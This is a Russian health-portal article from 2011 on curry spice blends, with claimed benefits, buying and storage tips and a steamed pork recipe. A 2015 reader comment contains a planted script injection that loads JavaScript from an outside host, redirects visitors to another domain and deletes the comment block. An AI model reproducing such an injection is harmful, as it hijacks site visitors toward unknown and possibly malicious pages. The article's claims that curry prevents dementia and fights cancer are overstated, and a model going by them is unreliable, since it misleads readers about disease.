Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Карри. Индийская смесь пр...  >>  Карри. Индийская смесь против слабоумия и инфаркта
 
Обратная связь
 

Карри. Индийская смесь против слабоумия и инфаркта

Размер шрифта
07 декабря 2011 07:13
  • google_analytics: false
  • Нравится

Можно ли избежать старческого слабоумия, если приправлять блюда карри? Как правильно выбрать, как хранить эту специю и какие блюда с ней приготовить.

Чем полезна смесь карри?

  1. Куркума стимулирует иммунную систему и разрушает скопления вредных белков, блокирующих работу мозга. Эти скопления, или амилоиды, - основная причина болезни Альцгеймера.

  2. Кориандр содержит цинеол и линолевую кислоту, которые уменьшают воспаления в суставах. Линалоол, который тоже есть в кориандре, обладает противомикробным и противоглистным действием. Эфирное масло кориандра применяют в производстве капель от кератита и коньюктивита, а также в препаратах, которые улучшают пищеварение, борются с гастритами, язвой желудка и двенадцатиперстной кишки.

  3. Тмин содержит тимол. Это вещество действует на вилочковую железу, которая отвечает за защитные силы организме и увеличивает количество Т – лимфоцитов, Т – киллеров и других клеток в составе иммунной системы.

  4. Кардамон стимулирует обмен веществ, а значит, способствует снижению веса. Также кардамон уменьшает уровень холестерина в крови.

  5. Куркумин участвует в очищении печени и сражается с раковыми клетками.

Как выбрать

Смотрите состав карри. Главное, чтобы в него входили куркума и кориандр, а также красный кайенский перец.

Возможные варианты смеси карри:

1. Бомбейская смесь карри.
В этот состав включена куркума, семена кориандра, имбирь и чили.

2. Острый порошок карри
В этом сочетании специй участвует зира, чили и фенхель. Очень острая смесь.

3. Тайская смесь
Это острая и пряная смесь специй, в которую входят семена зиры, кориандра, кориандр, лимонное сорго, имбирь и чили.

  • Обращайте внимание на запах. Он должен быть насыщенным. А вот цвет не является показателем качества: сколько бы ни прошло времени, карри так и останется яркого цвета. 
  • Смесь должна быть сухой.

Как хранить

Хранить порошок надо в герметичном контейнере, в прохладном сухом месте, вдали от солнечного света. Свежемолотую домашнюю смесь надо держать в герметичной банке не дольше 2 месяцев.

Как приготовить

Карри хорошо сочетается с овощами, мясом и рыбой.

Рецепт: свинина на пару с овощным карри

Свинина – 200 г
Молоко кокосовое – 250 мл (если найдете)
Карри
Соус рыбный – 2 столовые ложки
Шпинат – 300 г
Лук порей – 200 г
Сладкий перец зеленый – 200 г
Свежий кориандр

Рецепт карри:

1. В большой миске смешать мелко порезанную свинину, кокосовое молоко, пасту карри, рыбный соус.
2. Выложить фольгой емкость, которую вы позже поместите в пароварку.
3. Положить в центр емкости вымытые и высушенные овощи (шпинат, лук-порей, сладкий перец), сверху накрыть свининой в соусе и положить сверху листья свежего кориандра.
4. Готовить в пароварке в течение 20 минут.

 

 

Видеосюжеты по теме:

Карри. Смесь пряностей

 

 

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:04

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.